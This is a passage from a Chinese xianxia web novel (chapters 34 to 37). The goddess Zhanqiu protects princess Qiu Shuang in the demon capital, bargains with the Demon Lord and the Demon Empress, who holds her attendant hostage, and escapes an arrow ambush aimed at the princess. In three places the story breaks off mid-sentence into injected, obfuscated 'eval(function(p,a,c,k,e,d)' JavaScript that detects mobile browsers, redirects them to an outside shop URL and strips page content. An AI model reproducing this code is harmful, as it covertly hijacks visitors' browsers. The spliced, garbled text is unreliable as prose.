对此,斩秋不由心生怀疑,面上却未显:“谢陛下。” 此番要求与裘霜同住乃是先斩后奏,故而裘霜事先并不知情。待斩秋在侍者的带领下去往裘霜所在的含光殿与她说明情况时,后者的喜悦简直要溢出眼眶。 “太好了!”裘霜笑容灿烂地说道,“秋姐姐,我正愁此地无趣呢,如今你来了,我终于可以不用自己和自己说话了。若我早知在宫中是如此安排,我就不去求父神让我来妖界了。” 斩秋知道她性子活泼,最喜热闹,如今被束缚在这小小宫殿当中,自然是极其不悦的,于是抚了抚她的头发安慰道。 “这妖族皇宫道路诡怪,我等外界之人只能待在殿中确实无趣,不过明日便可以出宫走走了。” 明日梦幽城中有祭典活动,妖皇下令准许他们出宫观游。 斩秋说着走到圆桌旁给自己倒了杯茶,佯装不经意地提起:“对了,裘安今日可有跟你说些什么?” “二哥?”裘霜摇摇头表示没有,而后也跟在她身旁坐下,双手托腮问道,“怎么了?” “没什么,”斩秋继续说回上一个话题,“此次庆典邀请了诸多外界之士,城中难免鱼龙混杂。安全起见,明日出宫后你要时刻与我待在一起,切勿单独行动。” 裘霜见她一本正经的模样,双眸一亮,突然坐得离她更近了些:“秋姐姐,你这么关心我,是不是因为二哥呀?” 猝不及防的一问使得斩秋微怔,她震惊地看向裘霜,脸上的表情仿佛写着五个字:你怎么知道? 却见前者掩唇笑了起来,眼里尽是顽皮欢愉:“看来秋姐姐与二哥的感情不错,你这对我算不算是爱屋及乌了?” 听她这么说,斩秋瞬间明了。 她是误会了。 不由恢复了神色,斟酌片刻突然问道:“在你眼里,裘安待你如何?” “二哥吗,待我自然是极好的。”裘霜不假思索地回道,神色逐渐变得悠远,“从前二哥还没被接回天宫时,只有兄长陪我玩。可是兄长太忙了,总是要去万虚殿与父神议事,要么就是去幽境练兵。” 她口中的兄长,正是裘旭。 “那个时候我本还想过要去寻你一起玩,可是你与玄焰真神行踪不定的,我也不知去哪儿能找到你。后来玄焰真神逝世,你便也没了踪迹。” “再后来,我就求着母神让我出宫,不论是到北海、东海,还是到下界去,都行,天宫实在是太无聊了。” “可是就在这个时候,二哥出现了。” 裘霜说着眼里闪过温暖的光泽,像是在黑夜里看见了耀眼的星辰:“他时不时就会来长乐宫,给我讲昌芜郊的事,还会给我送来许多天宫见不着的新奇玩意……” 裘霜滔滔不绝地说着,可她将裘安描述得越好,斩秋的脸色就越发阴沉。 仿佛想起了前世裘安对她也是如此。 温柔体贴,百般讨好,有求必应。 可是最终,还是没能阻挡他露出残酷无情的真面目。 想要装出一副柔和良善的模样,不难。不过将温润体贴的形象演上百年、千年,便没那么容易了。 若前世裘霜之死当真是裘安一手策划的,那裘安当真…… “可怕。”斩秋神思游走着,不自觉将心中所想说了出来。 好在她的声音很低,裘霜并未听得真切,只是停下来问道:“秋姐姐,你方才说什么?” 斩秋回过神来,看着裘霜那双清澈明亮的眼,想要问她,倘若有一天她发现裘安不是她想的那样,该当如何。 可她张了张嘴,到底没忍心将此话问出口,继而抬了抬唇角,温声道:“我说,你们兄妹感情很好,我很羡慕。” 裘霜听闻垂首笑笑,恍然间想起了什么,再度抬眸握住斩秋的手:“秋姐姐,如今我也是你的妹妹。” 她知道斩秋的身世奇特,六界之大,却没有一个她真正的亲人。 斩秋闻声一怔。 二人畅谈许久,待裘霜睡下时已近寅时。 不过斩秋并未就寝,而是挥了一道结界于裘霜周围,不仅能护住结界中人,还能隔绝界外的声音。 施完以后她才翻窗跳上了屋顶,直直站立着,与前面那道坐着的身影隔着一丈的距离。 只见百里及春悠然地坐在那里,身姿随意潇洒,一只手肘撑在弯曲的膝盖上。看样子,像是来了有一会儿了。 “你什么时候在这的?” “大概,”百里及春想了想,“在你们聊起裘安的时候。” 那便是一早就来了。 斩秋不由眉头一蹙:“真没想到,堂堂魔尊,竟有做梁上君子的爱好。” 她的口吻讥诮,后者却未恼怒,反而神色轻松地望着身下的琉璃瓦片,意味不明地回道:“谁知道呢,或许曾几何时,你也这么做过。” 斩秋并未理会他那句莫名其妙的话,单刀直入地问:“你夜里前来到底想干什么?” “若是为了上次那个答案,我现在便告诉你。届时人界上元节的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633957|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,我和你去。” 这么简单的条件来换涂千羽一命,实在划算,她没有理由拒绝。上回没有及时回答他,是因为她太过惊讶,疑心其中有诈。 但如今她已想明白了,就算当真有诈,她也要一试。毕竟涂千羽的配合,是她回去后对付裘安的关键。 百里及春闻言忽而抬起头,视线轻飘飘地落到她身上,半晌,唇角散开笑意。 “你笑什么?”斩秋不解,眉头皱得更深了。却见他此刻站了起来,掸了掸衣袍,“本座不是为了此事来的。” “那你来干什么?” “告诉你去往月幽殿的办法。” 月幽殿是裘安在妖族皇宫内所处之地。 斩秋眼底闪过一刹狐疑。她的确想要潜入月幽殿一探究竟,想知道裘安在这孤立无援的妖界究竟还有什么手段掀起风浪。 可是…… “你为什么帮我?” 似乎没有料到她会这么问,又似乎在斟酌如何回答,他静默了半晌,道。 “本座不想看你输。” 他的声音很轻,轻到快要融进这习习的夜风里;却又很冷,冷得像是无妄山巅常年不化的雪。 斩秋眉间微动,神情复杂地看向百里及春。 而他也正在注视着自己。 他的眼神深邃,清冷,仿佛是一个静谧无底的深渊,藏着万千秘密,其中还掺杂着一丝虚无缥缈的…… 期望。 斩秋摸不透他的心思,正要说些什么,但闻他又道。 “当然,本座也不会白帮你。” 斩秋这才放下心来。交易才是她与百里及春之间正常的相处方式,他若真的什么条件都不提,她便要疑心他别有所图了。 “什么条件,你说吧。” “你与冥珩关系不错。”百里及春悠然说道。此话并非疑问,而是定下结论。 突然从他口中听到冥珩的名字,斩秋不由感到新奇:“是又如何?” 只见他手掌轻转,掌心呈着一只不足一寸长的圆匣走近斩秋:“帮本座把这个交给他。” “这是什么?” “他看了就会明白。”百里及春见她一脸提防,笑道,“放心,本座没想害他。” 斩秋将圆匣收下,答应会将此物转交给冥珩,他也守诺带她去往月幽殿。 路上,斩秋还是没忍住好奇,问他:“你和辰琰之间是不是也有交易?” 否则辰琰怎么会任由他在宫中畅通无阻。 “没有。”百里及春不假思索道。 斩秋半信半疑:“当真?” 百里及春步履平缓,仿佛在自家地盘闲游,漫不经心道:“双方得利才是交易。” 而他与辰琰之间,不过是他抓住了辰琰的把柄。如此,应算作威胁。 听出他的话外之音,斩秋忽然觉得周身发冷,眸色黯了下来,没再吭声。 很快二人便来到了月幽殿附近。 斩秋望着前方的殿宇,并不打算现在进去。 她记下了从含光殿到月幽殿的路径,以及途径幻术的破解之法,以便明日夜里独自前来。 确定好一切后,她便转身往回走。 未出十步,发现身旁百里及春仍与她同行,不由停了下来。 “你这是要跟我回去?” “本座送你。” “不必了,”斩秋伸出食指点了点脑袋,笑道,“我记性好,认路。” 记性好? 百里及春面上掠过一缕不易察觉的讥诮,不知想起什么,眯了眯眸,心下冷笑。 好个屁。 35. 第35章 天亮之后,裘霜终于醒来,一睁眼便看见窗台边的斩秋手里正拿着什么东西鼓弄着。 她听见身后传来动静,不着痕迹地将手中之物藏入衣袖,转身朝裘霜望去:“你醒了。” “秋姐姐,很晚了吗?”裘霜看见她似乎等了很久,下意识问道。 “没有,眼下才辰时三刻。待你用过朝食后再出发吧,届时会有侍者为我们引路出宫。” 孰料她才说完,门外便响起了叩门的声音。 斩秋走去应门,见门外站着两名妖族侍者。她正欲开口吩咐他们晚些再来,却见两名侍者各往左右两边退了一步,露出了身后之人。 来者是冥珩。 “你怎么来了?” 冥珩闻言与她一般疑惑:“不是你唤我来的么?” “我?” 只见他从袖中拿出一张信笺递了过来:“昨夜,我收到了这个。” 斩秋接过信笺,看见上面仅有短短一行字:明日辰时,来含光殿见我。 看完以后她登时明白过来,是百里及春。 他还真是着急,莫非怕她不守诺言,故意扣着要转交给冥珩的东西不成? 想到这里,斩秋嘴角微微下拉:“先进来吧。” 冥珩大方踏入殿内,看见一旁圆桌边的裘霜,轻轻颔首示意。后者也连忙回礼,并未唐突。 斩秋来不及与裘霜解释冥珩为何会出现在此,只是叫她安心用食,随后将冥珩引到内殿。 她并未作何寒暄,动作麻利地将昨夜百里及春给她的圆匣交到冥珩手里,像完成什么任务似的:“给你。” “这是什么?”冥珩接过她手中之物,不解地问。 “我也想知道。”斩秋道,“百里及春说,你看了自会明白。” 听到百里及春四个字,冥珩的目光变得警觉起来。他打开匣子,将其中之物缓缓抽出,拿在手中仔细查看起来。 半晌,斩秋才出声:“可是看出什么眉目了?” 冥珩简单“嗯”了一声。 可是他的脸色却不怎么好看。 见状,斩秋没有进一步打探。倒是冥珩静默了一会儿,主动提到:“是有关人界之事。还请你帮我和魔尊道一声,多谢。” “谢他?”斩秋略一挑眉,似是不敢相信自己的耳朵。 这下她可真的有些好奇百里及春给冥珩的东西到底是什么了。 冥珩本就无意多待于妖界,眼下握紧手中之物,更是归心似箭,都未与妖皇招呼一下,便让侍者送他出宫,匆忙去往人界了。 待他走后,前来为斩秋她们引路的侍者也来了。 “秋姐姐,我们不和二哥一道而行吗?”路上,裘霜突然问道。 “不了。”斩秋搪塞道,“左右梦幽城也没多大,他若来了,兴许会遇到的。” 若让裘安与她们一同行动,他便对她们的行踪了如指掌。万一他想在途中暗下毒手,这么做岂不是正中他下怀。 今日,她巴不得连裘安的影子都不要看见。 出了妖族皇宫,依旧像来时那般乘坐轿舆去往梦幽城。 只是宫门外停着的轿舆有两辆。 斩秋的眉毛微不可察地皱了一下。待走近后,轿内传来一道散漫的声音。 “斩秋上神。” 斩秋认出了声音的主人,有些意外轿内之人竟然不是裘安,也不是百里及春。 而是妖皇辰琰。 “见过陛下。”尽管轿中之人看不见,斩秋还是对着轿舆微微施礼,“陛下在等我?” “并未等多久。” 她没有否认,斩秋不禁觉得奇怪。 辰琰身为妖皇,若要出宫,理应有诸多随侍陪同,可是她在周围并未见到任何随从。 如此推断无论她出宫是要做什么,应该都不希望此事被更多的人知晓。既然这样,辰琰何故要邀她一同前行呢? 斩秋正狐疑着,很快又感应到了在场的另一道气息。 ——辰琰轿中还有一人。 但她对此气息十分陌生,想来并不是她见过的人。 只要不是裘安便好。斩秋心下暗道。 随后未再多说什么,带着裘霜上了另一辆轿舆。 轿厢内。 尽管光线昏暗,斩秋依然能够察觉到裘霜的欲言又止:“霜儿想说什么?” “秋姐姐,”心思被戳穿,裘霜不由讪讪一笑,“你与幽冥帝很熟悉吗?” “嗯,算是吧。”斩秋未料到她会对冥珩感兴趣,“你打听他做什么?” “我……”裘霜支支吾吾半晌也未说全一句话,斩秋见她这幅模样,很快明白是怎么回事,淡淡道。 “你喜欢他?” 按理说裘霜与冥珩之间不可能有交集,那她这份心思是从何而起? “没有,我就是……”裘霜慌张地否认,“我就是好奇……” 她后面临时编造的借口斩秋没怎么听进去,只是神色凝重地想起了从前。 上一世她与裘安大婚本给幽冥界送了请帖,可是冥珩并没有来。后来她才知道原来当时冥珩不在幽冥,而是去了人界。 传闻是他心爱的女子死了,那女子是个凡人。 方才在含光殿,他神色匆忙地离开,所为之事也是有关人界。想来他与那女子的宿命便是从这个时候就开始纠缠了。 凡人的寿命很短,按时间算,当时她与裘安大婚是五十年以后。 五十年,够那女子走完她的一生了。 斩秋紧抿唇角,斟酌了许久才对裘霜道:“冥珩确实生得一副好皮囊,但他不适合你,你还是……” 斩秋话未说完,便被后者一番抢白:“我不是看中他的皮囊!” 话音落下,裘霜才恍觉自己失言,面露羞愧尴尬之色,低下了头。 “霜儿,把心思收回来吧。” “可是……”她显然还想再说些什么,却被斩秋冷声打断道,“我言尽于此,希望你不要犯傻。” 一番插曲过后,轿舆也缓缓停了下来。 斩秋率先推门走下去,入目的却不是梦幽城繁华的街道。 此地荒凉,分明还在城外。 她顺势朝着另一辆轿舆望去,此时辰琰不疾不徐地走下来,跟在她后面下来的还有一名身着锦衣的男子。 “这里离梦幽城没有多远了,不妨一起走走,顺便欣赏一下沿途景色。”辰琰走到斩秋身边,笑眼盈盈地说道。 那双动人的笑眼与她面上狰狞的玄色面具格格不入。这般模样落入斩秋眼里,像是一朵淬了毒的花。 斩秋笑笑点头,心底并不买账。 荒郊野外,视线中唯二清晰的便是脚下的路,以及两侧的树林,有何风景可赏? 如此滑稽的理由,她自是不信,只不过想看看今日辰琰的葫芦里到底卖的什么药。 她与辰琰并排而行,裘霜与锦衣男子跟在后面。不用看也知道,那名男子是辰琰派去拖住裘霜的。 斩秋不紧不慢地跟着辰琰的脚步,目光随意地洒落在前方若隐若现的城墙,并不着急打探后者的目的。 二人就这么在空荡的道上走着,从后面看还真有几分同伴携手闲游的意味。 途中,辰琰幽幽开口:“其实一开始父皇定下的继承者并非是朕,而是朕的兄长。” 猝不及防听她提起皇权之事,斩秋有些摸不着头脑,只是静静地听着,没有搭腔。 “可是兄长想要的不过是权利,他不关心妖族的安危,也不在乎身为继承者该担负的使命。他想坐在那个位子上,只是为了在玩乐时能够畅通无阻。” “朕比他刻苦,比他聪慧,比他懂得如何守护妖族百姓。可是父皇说只要兄长还在,朕便坐不了那个位子。” 斩秋虽未留意过妖族的皇位之争,但对辰琰口中的兄长确有耳闻。 从前下界时曾听人提起,妖族大皇子生性顽劣、暴虐无道,手上沾染过许多无辜百姓的鲜血,是以妖族百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只要天帝按兵不动,她自然也不会伤害他们。只待到时各界皆知他们妖族尚有潜在底牌,她便会放他们回到天宫。 斩秋对她的提议不置可否,只是唇角散开些许笑意,话锋一转:“可是陛下,昨日祭司当真从魂玉珠中看到了什么吗?” 话音辄止,辰琰眸底闪过一瞬厉色,但她很快恢复往常的模样:“是真是假,重要吗?” “流言这种东西,就是虚无缥缈,却也有让人忌惮三分的力量。” 斩秋点头:“那我等如今是不是都成了陛下你的人质了?” 辰琰闻言捧腹大笑,仿佛听见了什么了不得的笑话一般,这才驻足回首:“斩秋上神何出此言?朕不过是想与你做一个交易。” “交易?” 不知怎的,斩秋忽然想起百里及春昨夜说的那句话。心下一哂,将此话原封不动地转送与辰琰。 “陛下,双方得利才是交易。” 而你此番,是在威胁我。 斩秋说完,眼里全然没了恭敬,森寒非常。 见她这般,辰琰并不恼怒,云淡风轻地挑了下眉毛:“是吗?” 说罢她轻轻侧首往道路前方望去。 斩秋顺着她的目光看过去,这才发觉原来谈话间已不知不觉走了这么远。只见那原本模糊的城墙已经逐渐清晰,城墙之上被押着两道熟悉的身影。 她眯了眯眸,意图将上方之人看得更清楚一些。 可在她看清的那一刹间,眸光骤然缩了一下。被押在城墙之上的人 ——是灵衫以及邬霖。 恍神间,耳边响起辰琰势在必得的声音:“你若按照朕所说去做,朕便放了他们。” “如此一来,你也算是得利了罢,斩秋上神。” 36. 第36章 斩秋缓缓收回视线,再度抬眸时,眼底一片清明,教人辨不出喜怒。少顷才道:“为何是我?” “什么?” “陛下分明也抓了邬霖,为何不去威胁裘安,而是选择我?”斩秋虽面无波澜,但声音冷了许多,“难道陛下觉得与裘安相比,我更好拿捏吗?” 她话语直白,还有些许无礼,可辰琰却弯眼笑了起来:“那你可误会朕了。” 她看进斩秋那双漆黑的眸子里,口吻不掺一丝假意,“朕只是觉得女子比男子,更重情义。” 这下斩秋也笑了,却是气笑的。 辰琰说得没错,若此事真的落到裘安头上,想必他眼睛都不会眨一下便会舍弃邬霖。上一次她能用邬霖威胁他写下退婚书,并不代表这一次辰琰就可用邬霖逼他答应写下此信。 区区婚事怎可与天界要事相比。 看来她还真是要感谢辰琰今日来找的是她,而非裘安,否则一同遭殃的还有灵衫。 其实辰琰让她给天帝书信一事她并不抗拒,毕竟她在此事上并无确立的立场,她只想在此事中保证裘霜无虞。 但辰琰“请求”她的方式,她不喜欢。 “就算我答应陛下,陛下又要如何说服裘安配合,乖乖地在皇宫中待着呢?” “需要说服吗?”辰琰耸了耸肩,“你们又出不去。” 今日他们出宫是因为城中盛典,待今夜一过,他们便会被妖皇命人接回皇宫。 届时能否离开妖界,何时离开妖界,都不由他们自己。 “原来陛下安排我们住到宫里,是早就算准了今日。”斩秋双眸蒙上一层冷意,“想必抓走灵衫与邬霖也是一早就在陛下的计划之中罢。那留下的那些仙侍呢,他们又在哪里?” “那些仙侍自然还在客栈当中。至于你的灵兽,”辰琰轻轻侧首,道,“放心,朕没有伤他们。只是给他们施了禁制,你可以当他们是睡着了。” 斩秋闻言顺势朝城墙上望去,似乎是在确认她话中虚实,看了好一会儿才收回目光:“陛下打算让我们这样入城吗?一会儿霜儿瞧见天界之人被扣押于城墙之上,该害怕了。” 言下之意,该把他们放了。 辰琰知道她这么说便算是答应了,面具下的唇角微微扬起,转身往回走,扬高了声调:“朕突然又不想走进城了,还是乘轿而行罢。” 轿内看不见外物,自然也看不见城墙上的景象。 斩秋会意,跟着往回踏去。 这边裘霜正准备破口大骂身旁困住自己的男子,却见斩秋与妖皇施施然地走了回来。 男子抬眼朝前浅望了一眼,竟解了脚下禁锢之术,大步向前迎妖皇入轿。 裘霜也不是个痴傻的,自然知道方才是妖皇刻意派人拖住她,好与斩秋单独说话。 她倒是不在意她们之间说了什么,只是觉得妖皇此番行径颇为无礼,面上瞬间没了好颜色。 但她到底年纪尚浅,待入城后,一被城中欢乐的氛围渲染,瞬间将路上种种不快抛之脑后。 今日的梦幽城虽也热闹,但比之前几日初见时多添了一份团圆和乐之意。四处张罗着祈福祭祀的活动,街上众人皆携伴侣同行。 面对眼前的盛景,斩秋兴味索然,只是一面寸步不离地守着裘霜,一面心系着灵衫。 回首之际,突然发现身侧只余辰琰一人,不由心生狐疑,问道。 “陛下身边那名男子呢?” 与此同时,城墙之上。 梦幽城守将斐乐为正坐在圈椅上琢磨着如何到陛下面前露脸,好让自己晋升得更快一些。 方才他看见陛下的轿舆入城,这可是难得的机会。只不过就这般贸然出现,恐有不妥,还需要选一个合适的时机。 心中正思忖着,忽闻身后众人齐声喊着“少君”。 斐乐为转过身来,果然瞧见一道轻缓走来的身影。他当即面色一喜,抬手作礼道:“见过少君。” 被唤作“少君”的男子却没正眼看他,目光轻轻掠过被缚在十字刑架上的两人:“陛下有旨,放了他们。” “是。”斐乐为颔首应下,随后招呼几名手下去给灵衫二人松绑、解禁。 他微微躬身跟在男子身后,笑得一脸谄媚,两颊的皮肤因他刻意夸张的笑容堆起皱纹:“少君,不知陛下此次是否有意在梦幽城久留,可有需要属下效力的地方?属下定当尽心竭力!” 待他说完,男子的视线终于落到他身上。分明没什么表情,却让人从中感受到一股莫名的寒意,双唇轻启。 “陛下的行踪,不是斐将军该关心的。” 话落,斐乐为脸上的笑容僵了一瞬,随后伸手朝自己的嘴巴拍去,点头干笑道:“少君教训的是,属下失言了。” 前者不再理会他,拂袖而去。 “呸!”男子一走,方才还在点头哈腰的斐乐为立即换了副面孔。 他抬起胸膛,两道粗壮的眉毛紧紧拧在一起,仿佛打成一个死结,话音里盛满了鄙夷:“不过就是仗着自己有几分姿色,得陛下垂青,还真把自己当少君了?” 一旁的副将秦礼听他这么说,连忙上前摆手,压低了声量:“敢背后妄议陛下,你不要命了吗?!” 可惜此时他什么也听不进去,一心只想着发泄心中怒火,声音反而越说越洪亮:“什么脏活累活都是咱们干,他有苏惜言只要成日在陛下跟前拍拍马屁就能平步青云,凭什么!” “哼!我就是不服,他命好占了个有苏的姓氏,却只是区区一只杂毛狐狸,竟也能爬到我头上去!” 妖族种族繁多,故而阶级也十分分明。除却皇族辰氏,妖界还有八大家族,有苏狐族便是八大家族之一。 有苏氏多为九尾天狐,唯独有苏惜言是个例外。 斐乐为的话就像洪水开了闸,秦礼听着额头直冒汗:“你快别说了……” 灵衫迷迷糊糊醒来时听到的便是这些闲言碎语,本就头疼的她此刻觉得聒噪非常。 秦礼见她醒了,顾不得许多,一边不停给斐乐为使眼色示意其勿再多言,一边对灵衫挥手,似是在打发烫手的山芋:“你们可以走了。” 灵衫听罢下意识垂眸,瞧自己身上的束缚禁制全被解开,这才确认此番是真的要放他们走。不由眯了眯眸,审度他们的用意。 那日她本欲返回天宫将妖皇古怪的行径告知天帝与裘旭,以防在妖界发生什么不测。 孰料她才走出梦幽城没多远,便中了妖族埋伏。 醒来时便发现自己被绑在刑架上,浑身动弹不得。抬首时才看见,一同被抓来的还有邬霖。 似是为了防止她与邬霖共谋逃走,便又对他二人施了禁制,使得他们昏迷至今。 这群人并未伤他们,可见妖皇的目的并非是他等性命,而是打算以他们为条件要挟殿下抑或裘安。 而如今把他们放了,说明妖皇的目的达成了。如此不难猜测,与妖皇达成交易之人,是殿下。 想到这里,灵衫利落地起身拔腿便走,没有丝毫拖泥带水,只欲马上回到殿下身边。 可是此时,身后蓦然响起一道粗犷的声音。 “喂,把他也带走。” 分明已经解了禁制,可是邬霖还未醒来。 灵衫驻足侧首,目光似刀一般从邬霖身上刮过。 私心里,她不欲与此人同行。 但是转念一想,既然救走他们的人是殿下,那邬霖的性命便该由殿下说了算。 万一殿下对他另有安排…… 灵衫眸光闪动,抬袖一挥化一滩冷水直直浇在邬霖头上。后者瞬时清醒过来,疑惑地抬首。 在他满目不解与提防的眼神下,灵衫语气微冷,只道。 “跟我走。” …… “他叫有苏惜言。”辰琰回应着斩秋提出的疑问,“朕命他去将你的人放了。” “陛下就不担心我出尔反尔?” 辰琰摇首笑道:“你若反悔,朕大可再将人抓回来。” 反正这里是她的地盘。 一旁的裘霜听不懂她们的谈话,只从其中捡着关键的信息来听。似乎发现什么不得了的事,眼眸一亮:“方才那个难缠鬼就是有苏惜言?” 斩秋与辰琰一同回过神来。 后者看着裘霜,饶有趣味道:“哦?公主知道他?” 裘霜点点头:“从前便听闻妖族有两位年轻的少君,一男一女,乃陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633959|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的左膀右臂,其中那名男子便唤作有苏惜言。传言他们不仅容貌生得极美,行事还有雷霆手段,让人闻风丧胆。只是……” 她说着有些迟疑,慢慢噤了声。如此反而勾起了辰琰的兴趣:“只是什么?” 裘霜咬唇纠结许久,方才压低了声音说道:“只是吧……他虽然是生得挺好看的,但我观他行径,还以为他是陛下的随仆。” 话音辄止,斩秋与辰琰的表情都略显尴尬,没有应答。 正当她好奇她们为何这般表情之际,一道冷冽的声音从她头顶洒下。 “陛下,人已经放了。” 裘霜闻声打了个哆嗦,她僵直着身体,只见有苏惜言绕过她,径直走到辰琰身边。 完了!裘霜心中低喊一声。她自认身为天界公主,背后议论别人已是有失礼教,偏偏还教那当事人听去了,实是万分没面。 不免脸上挂满歉意,冲着有苏惜言讪笑两下:“对不起,我没有诋毁你的意思。只是方才在城外看着你一言不发、跑前跑后的顺从模样,委实不像传闻中的少君那般威风,倒是令我想起了我宫中的仙侍……这才误会了。” 越描越黑似乎是一种天生的本领,斩秋见状不由汗颜,她轻叹一息,揽过裘霜护在身后:“霜儿心直口快,却非怀有恶意,还望陛下与有苏少君切莫介怀。” “哈哈,怎么会呢。”辰琰笑声爽朗,“公主这般直爽的性子,朕很喜欢。此等小事,想必惜言也不会放在心上。” 辰琰说完眉目稍侧,朝有苏惜言递去一个眼神。 后者闻言却将视线投在斩秋身上。他的目光阴寒且毫无敬意,仅一瞬便收了回去,面无表情地点了下头。 妖族少君一职虽品阶高,手里却无实权,说难听了些就是妖皇掌下的一把快刃。而斩秋与裘霜却是实打实的天界上神与公主,妖族少君对待她们二人时,理应以礼相待。 可他对她二人视若无物,只有在辰琰面前乖顺得不像话。 目中无人和谦恭谨慎怎么能同时出现在一人身上呢?斩秋挑了挑眉,觉得眼前这位少君似乎不简单。 或许是有辰琰同游的缘故,今日过得异常平静。 也不知裘霜这没心没肺的性子是随了谁,几番插曲过后依旧心无旁骛地玩乐,流连于城中各种活动,一点儿不知道累。 转眼戌时已过,就在斩秋以为今日已安然度过时,身后骤然袭来一阵促风,只见一支沾染了玄色火焰的箭矢冲着他们刺来。 斩秋登时推开裘霜,右手虚空一抓,握着霄云剑朝上劈去,将箭杆霎时砍成两半。 可下一瞬,漫天箭矢从空中射来。 “保护陛下!” 有苏惜言高声喊道,四周不知从何处窜出数十名暗卫,如潮水般涌了过来,将辰琰护在其中。 古怪的是,斩秋与裘霜距离辰琰不过五步,却教那些暗卫生生将她们隔绝在外,孤立无援。 斩秋无暇顾及其中蹊跷,连忙拉过裘霜将其护在身后,挥剑朝漫天箭矢挡去。 面对突如其来的变故,裘霜仅愣了片刻便反应过来,双手抬起汇聚一抹光圈,欲为斩秋化一道护罩。 她虽剑法不精,防御之术却是天界小辈中排得上号的。可是今日似乎中了邪,她念着咒法,可手中之术竟无法化形,迟迟施展不出。 “秋姐姐,怎么办呀?”裘霜焦急地问道,声音带着些许哭腔。 就在斩秋思虑的当口,一道熟悉的身影从旁飞奔过来,步伐凌乱。 “殿下!” 灵衫带着邬霖而至,方一站定便施一道屏障将箭雨隔绝在外。 斩秋看清来者,面露喜色:“灵衫,你没事就好。” 她说着将其拉到裘霜身边,嘱咐道,“我出去拖住他们,你快带霜儿离开!” 灵衫哪肯依言照做,急忙摇首:“殿下,还是我出去引开他们,您与公主先走。” “听我的。”斩秋语气坚定,“若我没猜错,他们的目标不是我。” 她说完扭头看向邬霖,心想若此事是裘安所为,绝不可放邬霖在裘霜身边。 思及此,斩秋目色一沉,大步朝其走去,凛声道。 “邬霖,你跟着我。” 37. 第37章 事出紧急,纵使邬霖并不情愿归斩秋调遣,也只能照做。而此时灵衫也带着裘霜往辰琰他们离开的方向撤去。 她们一走,漫天的箭矢也随之改变了方向。 传闻妖族有一种绝命之毒,其色泽玄黑,与赤铁相融则显火光。而这些箭头便是燃着玄色火焰,想来是要置人于死地。 只见这“箭雨”虽看似杂乱无章,实则射得十分谨慎,今日城中汇聚了大量妖族子民,可是那些箭却没有错伤他们任何一人。 可以看出今夜无论是谁下的令,此人都不想牵连城内任何一名妖族,其目标明确,仅有裘霜一人。 斩秋抬首,目光如剑锋一般向上扫荡,最终定格在一家歇业的酒肆。 今日城中盛典,可谓捞一把金的大好时机,各家酒肆商铺张灯结彩,唯独牌匾上写了丹阳楼的这一家,没有半点儿灯火,但楼上五层的窗户全都是敞开的。 可谓暗袭的绝佳地点。 “是丹阳楼!”斩秋对邬霖吩咐道,“随我上去拦住他们!” 邬霖如今也反应过来,这些行刺者的目标似乎是朝城外撤退的公主与灵衫。 她们于斩秋而言是十分珍贵之人,可于他而言却没多大干系。他只效忠于二殿下,其余人等,不值得他拼上性命。 是以他的态度极其敷衍,只是装模作样地跟在斩秋身后,偶尔挡一挡有可能误伤自己的暗箭。 为了替灵衫她们断后,斩秋方一跃上丹阳楼,便结印设了一道结界,将此间众人与自己一同隔绝在结界之中。 此界的范围以她双掌为中心,掌外三丈为线。界内之人出不去,更别说他们手中那些染了毒的箭矢了。 眼前的行刺者约莫三十余人,斩秋扫视一圈,唇边倾泻一缕鄙薄的笑意:“这么大手笔就只为了杀一个人,实属稀奇。说说吧,谁派你们来的?” “少废话,不想死就滚开!”说话之人是一名相貌阴柔的男子,他站在最前面与斩秋相对而立,看上去似乎是这群行刺者的首领。 男子说完抬起手臂,手指朝下动了两下,像是在发号施令。身后众人立即领意,合力朝结界攻去,欲将其破除。 只是这结界由斩秋灵火所制,若想破除需以她的灵力为引,否则费再多功夫都是徒劳。 斩秋面无表情地看着他们白费功夫,想着只要借此拖延一些时间,待灵衫她们走得够远时便抽身而退,还不用花费她什么力气,甚好。 可她没想到为首的男子很快失了耐心。 因距离受限,箭矢并不适用,男子便持剑朝斩秋袭来,其身形如幻影一般,快速移动至她身前,剑气直逼她的胸膛。 孰料她动作更快,掌心一翻朝外击去,两道力量相撞顿时激起一阵青色强光,垂直而起直朝结界顶方冲去,霎那间发出滋滋的声响。 眼看头顶的结界出现裂纹,男子如受鼓舞,手上加重了法力。 结界一旦出现裂纹,其法效便不再固若磐石。斩秋深知这一点,不禁回首朝楼下街道眺望,快速寻找着最适合藏匿的路线。 并非她无力应战,只是如今局势不明,对方身份如何尚且不说,她身后还有邬霖那么一个只会做表面功夫的拖油瓶,指不定在她应敌之时,他还会在背后给她下黑手。 如此还是离开最为稳妥。 一道道剑气朝着裂纹处劈去,只见男子硬生生地将那道微不可察的裂纹切成了一条巨大的裂口。没过多久,结界逐渐崩塌瓦解,轰声四起。 斩秋找准时机,在结界被破的刹那跳窗而下,落地之后飞速混入人群之中。 